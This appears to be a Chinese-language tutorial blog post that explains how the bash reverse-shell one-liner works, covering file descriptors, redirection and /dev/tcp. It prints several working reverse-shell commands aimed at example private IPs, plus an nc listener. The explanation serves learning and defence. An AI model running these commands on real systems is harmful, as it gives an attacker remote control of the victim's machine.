前言
Linux下,一條bash命令就可以反彈出shell。之前不求甚解的復現,突然有了一個疑問,為什么這樣就能實現shell反彈?又重新學習了一下bash,這是一篇關於bash反彈原理的介紹。
反彈shell命令如下
受害者:
bash -i >& /dev/tcp/ip/port 0>&1
攻擊者
nc -lvp port
反彈 shell 的本質
接下來依次解釋一下上面兩條命令的意思。
1.bash -i
1)bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別
2)-i (interact)這個參數表示的是產生交互式的shell
2.>&
對於這個要先了解Linux下的linux文件描述符的概念,linux shell下有三種標准的文件描述符:
0是 stdin 代表着標准輸入,使用<或者<<
1是 stdout 代表着標准輸出,使用>或者>>
2是 stderr 代表着標准錯誤輸出,因為也是輸出,所以也是>或者>>,但是為了區別std,所以使用2>或2>>。
在默認的條件下是0。>&符號鏈接在一起就是把輸入重定向的意思。
3./dev/tcp/ip/port
對於/dev/tcp/ip/port是特殊設備文件(因為Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據,其作用是讓本機與目標主機通過指定端口建立tcp連接。
4.0>&1
最后0>&1(放在>后面的&,表示重定向的目標不是一個文件,而是一個文件描述符)是把前面的輸入重定向給了輸出。
5.命令合成
bash -i >/dev/tcp/192.168.80.131/3333
bash -i < /dev/tcp/192.168.27.131/3333
bash -i > /dev/tcp/192.168.80.131/3333 0>&1
而此時攻擊者的命令還會在受害者電腦上輸出,我們可以用混合輸出(錯誤、正確輸出都輸出到一個地方)解決一下這個問題:
bash -i > /dev/tcp/192.168.80.131/3333 0>&1 2>&1
當然我們也可以執行與之完全等價的指令
bash -i >& /dev/tcp/192.168.80.131/3333 0>&1
bash -i >& /dev/tcp/192.168.80.131/3333 0<&1
這里的唯一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不同,而對於這個文件描述符來講並沒有什么區別。
END
至此,反彈shell的經典語句就分析完了,通過這條語句的分析我們能大致的了解反彈shell的本質,以后碰到其他的反彈shell 的語句也能用類似的分析方法區分析,甚至我們也可以自己舉一反三創造更加絕妙的反彈shell 的語句。